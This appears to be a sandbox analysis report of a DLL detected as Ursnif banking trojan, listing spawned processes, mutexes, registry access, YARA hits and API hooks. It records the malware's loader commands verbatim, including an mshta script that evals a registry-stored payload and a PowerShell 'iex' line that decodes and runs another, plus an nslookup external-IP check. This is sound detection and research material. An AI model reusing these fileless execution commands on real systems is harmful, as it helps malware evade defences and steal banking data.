Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: o .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: n .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: m .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: l .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: k .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: j .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: i .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: h .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: g .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: f .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: e .dll	Jump to behavior

Source: classification engine

Classification label: mal100.bank.troj.spyw.evad.winDLL@49/188@15/6

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 1_2_04A8A648 CreateToolhelp32Snapshot,Process32First,Process32Next,FindCloseChangeNotification,

1_2_04A8A648

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{59229456-2F94-11EB-90E6-ECF4BB82F7E0}.dat

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6592:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4360
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\{0C6A49DB-FB1D-1E7B-E500-5F32E9340386}
Source: C:\Windows\System32\control.exe	Mutant created: \Sessions\1\BaseNamedObjects\{2C9A59B6-9B4F-3EC0-8520-FF528954A3A6}
Source: C:\Windows\System32\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\{6824B7BA-A73C-DA91-711C-CBAE35102FC2}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5228:120:WilError_01

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user~1\AppData\Local\Temp\~DF876656104E15310A.TMP

Jump to behavior

Source: vnaSKDMnLG.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll

Source: C:\Program Files\internet explorer\iexplore.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: unknown

Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h

Source: vnaSKDMnLG.dll

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\vnaSKDMnLG.dll'
Source: unknown	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\vnaSKDMnLG.dll
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Explorer\iexplore.exe'
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17410 /prefetch:2
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:82952 /prefetch:2
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17434 /prefetch:2
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17438 /prefetch:2
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17446 /prefetch:2
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17456 /prefetch:2
Source: unknown	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\Audiinrt'));if(!window.flag)close()</script>'
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').Barclers))
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.cmdline'
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RESBA2B.tmp' 'c:\Users\user\AppData\Local\Temp\q3xypckz\CSC358FCCDF4025435CA355D903053645.TMP'
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.cmdline'
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RESC8D1.tmp' 'c:\Users\user\AppData\Local\Temp\chv50z53\CSCD671F0735D74415BB6A373562E60C48B.TMP'
Source: unknown	Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: unknown	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h
Source: unknown	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4360 -s 728
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /C 'nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user~1\AppData\Local\Temp\4EC0.bi1'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\vnaSKDMnLG.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Explorer\iexplore.exe'	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\internet explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:82952 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17434 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17438 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17446 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17456 /prefetch:2	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').Barclers))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.cmdline'
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RESBA2B.tmp' 'c:\Users\user\AppData\Local\Temp\q3xypckz\CSC358FCCDF4025435CA355D903053645.TMP'
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RESC8D1.tmp' 'c:\Users\user\AppData\Local\Temp\chv50z53\CSCD671F0735D74415BB6A373562E60C48B.TMP'
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe cmd /C 'nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user~1\AppData\Local\Temp\4EC0.bi1'
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\System32\control.exe	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Windows\SysWOW64\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Source: C:\Windows\explorer.exe

File opened: C:\Windows\SYSTEM32\msftedit.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Source: vnaSKDMnLG.dll

Static PE information: More than 246 > 100 exports found

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: vnaSKDMnLG.dll	Static PE information: More than 200 imports for kernel32.dll
Source: vnaSKDMnLG.dll	Static PE information: More than 200 imports for user32.dll

Source: vnaSKDMnLG.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.pdbXP source: powershell.exe, 00000016.00000002.479178421.0000020E9417E000.00000004.00000001.sdmp
Source:	Binary string: %p'U:\tautologism\throatlet\pignoration\schorly\gansel\early.pdb source: regsvr32.exe
Source:	Binary string: partial method>An expression tree may not contain an unsafe pointer operationAAn expression tree may not contain an anonymous method expressionHAn anonymous method expression cannot be converted to an expression tree@Range variable '%1!ls!' cannot be assigned to -- it is read onlyPThe range variable '%1!ls!' cannot have the same name as a method type parameterKThe contextual keyword 'var' cannot be used in a range variable declarationaThe best overloaded Add method '%1!ls!' for the collection initializer has some invalid argumentsAAn expression tree lambda may not contain an out or ref parameterJAn expression tree lambda may not contain a method with variable argumentsSSpecify debug information file name (default: output file name with .pdb extension)$Specify a Win32 manifest file (.xml))Do not include the default Win32 manifestNSpecify an application configuration file containing assembly binding settings8Output line and column of the end location of each errorFBuild a Windows Runtime intermediate file that is consumed by WinMDExp Build an Appcontainer executable+Specify the preferred output language name.3Could not write to output file '%2!ls!' -- '%1!ls!' source: csc.exe, 00000018.00000002.404055652.00000252B2A30000.00000002.00000001.sdmp, csc.exe, 0000001A.00000002.411630452.000001870CDE0000.00000002.00000001.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.pdb source: powershell.exe, 00000016.00000002.479178421.0000020E9417E000.00000004.00000001.sdmp
Source:	Binary string: wscui.pdbUGP source: explorer.exe, 0000001E.00000000.440194854.000000000DE20000.00000002.00000001.sdmp
Source:	Binary string: Y:\ruach\endeared\unroaded\warl\homolographic\palpableness.pdb source: regsvr32.exe
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.pdb source: powershell.exe, 00000016.00000002.479178421.0000020E9417E000.00000004.00000001.sdmp
Source:	Binary string: ntdll.pdb source: regsvr32.exe, 00000001.00000003.429818290.0000000005E10000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: explorer.exe, 0000001E.00000003.475607215.0000000006C40000.00000004.00000001.sdmp
Source:	Binary string: ntdll.pdbUGP source: regsvr32.exe, 00000001.00000003.429818290.0000000005E10000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: explorer.exe, 0000001E.00000003.475607215.0000000006C40000.00000004.00000001.sdmp
Source:	Binary string: rundll32.pdb source: control.exe, 0000001F.00000002.447514159.000002090E7CC000.00000004.00000040.sdmp
Source:	Binary string: Y:\ruach\endeared\unroaded\warl\homolographic\palpableness.pdb source: regsvr32.exe, 00000001.00000002.484369961.0000000004930000.00000040.00000001.sdmp
Source:	Binary string: rundll32.pdbGCTL source: control.exe, 0000001F.00000002.447514159.000002090E7CC000.00000004.00000040.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.pdbXP source: powershell.exe, 00000016.00000002.479298049.0000020E941EB000.00000004.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 0000001E.00000000.440194854.000000000DE20000.00000002.00000001.sdmp

Data Obfuscation:

Suspicious powershell command line found

Show sources

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').Barclers))
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').Barclers))

Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.cmdline'
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.cmdline'

Source: q3xypckz.dll.24.dr	Static PE information: real checksum: 0x0 should be: 0x156e
Source: vnaSKDMnLG.dll	Static PE information: real checksum: 0x42d78 should be: 0x3f8ff
Source: chv50z53.dll.26.dr	Static PE information: real checksum: 0x0 should be: 0x35c9

Source: unknown

Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\vnaSKDMnLG.dll

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_04A8B09B push ecx; ret	1_2_04A8B0AB
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_04A8ACE0 push ecx; ret	1_2_04A8ACE9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_0493009C push dword ptr [ebp-000000D8h]; ret	1_2_04930252
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_0493009C push dword ptr [ebp-000000E0h]; ret	1_2_0493029C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_0493009C push dword ptr [esp+10h]; ret	1_2_049303AB
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_04930005 push dword ptr [ebp-000000D8h]; ret	1_2_04930065
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_04930066 push dword ptr [ebp-000000D8h]; ret	1_2_0493009B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_049303AC push dword ptr [esp+0Ch]; ret	1_2_049303BF
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_049303AC push dword ptr [esp+10h]; ret	1_2_04930404

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.dll			Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000001.00000003.261787991.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261868993.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261831474.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261898772.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261995232.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.441296482.0000000002FB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.446420368.0000024E31FF5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.365991031.000000000532C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.423867966.0000000002940000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261930125.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.515638073.0000024340635000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.446120837.00000000006D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.445169971.0000024E32160000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261629754.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261360311.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.416910277.0000020EA8E70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.432292653.000002090C820000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.482163983.0000000002910000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.519882408.0000026754D05000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: control.exe PID: 6968, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 4360, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4760, type: MEMORY

Hooks registry keys query functions (used to hide registry keys)

Show sources

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: api-ms-win-core-registry-l1-1-0.dll:RegGetValueW

Modifies the export address table of user mode modules (user mode EAT hooks)

Show sources

Source: explorer.exe

IAT of a user mode module has changed: module: KERNEL32.DLL function: CreateProcessAsUserW address: 7FFFAC2D521C

Modifies the import address table of user mode modules (user mode IAT hooks)

Show sources

Source: explorer.exe

EAT of a user mode module has changed: module: WININET.dll function: api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW address: 7FFFAC2D5200

Modifies the prolog of user mode functions (user mode inline hooks)

Show sources

Source: explorer.exe

User mode code has changed: module: KERNEL32.DLL function: CreateProcessAsUserW new code: 0xFF 0xF2 0x25 0x50 0x00 0x00

Source: C:\Windows\explorer.exe

Registry key monitored for changes: HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E

Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
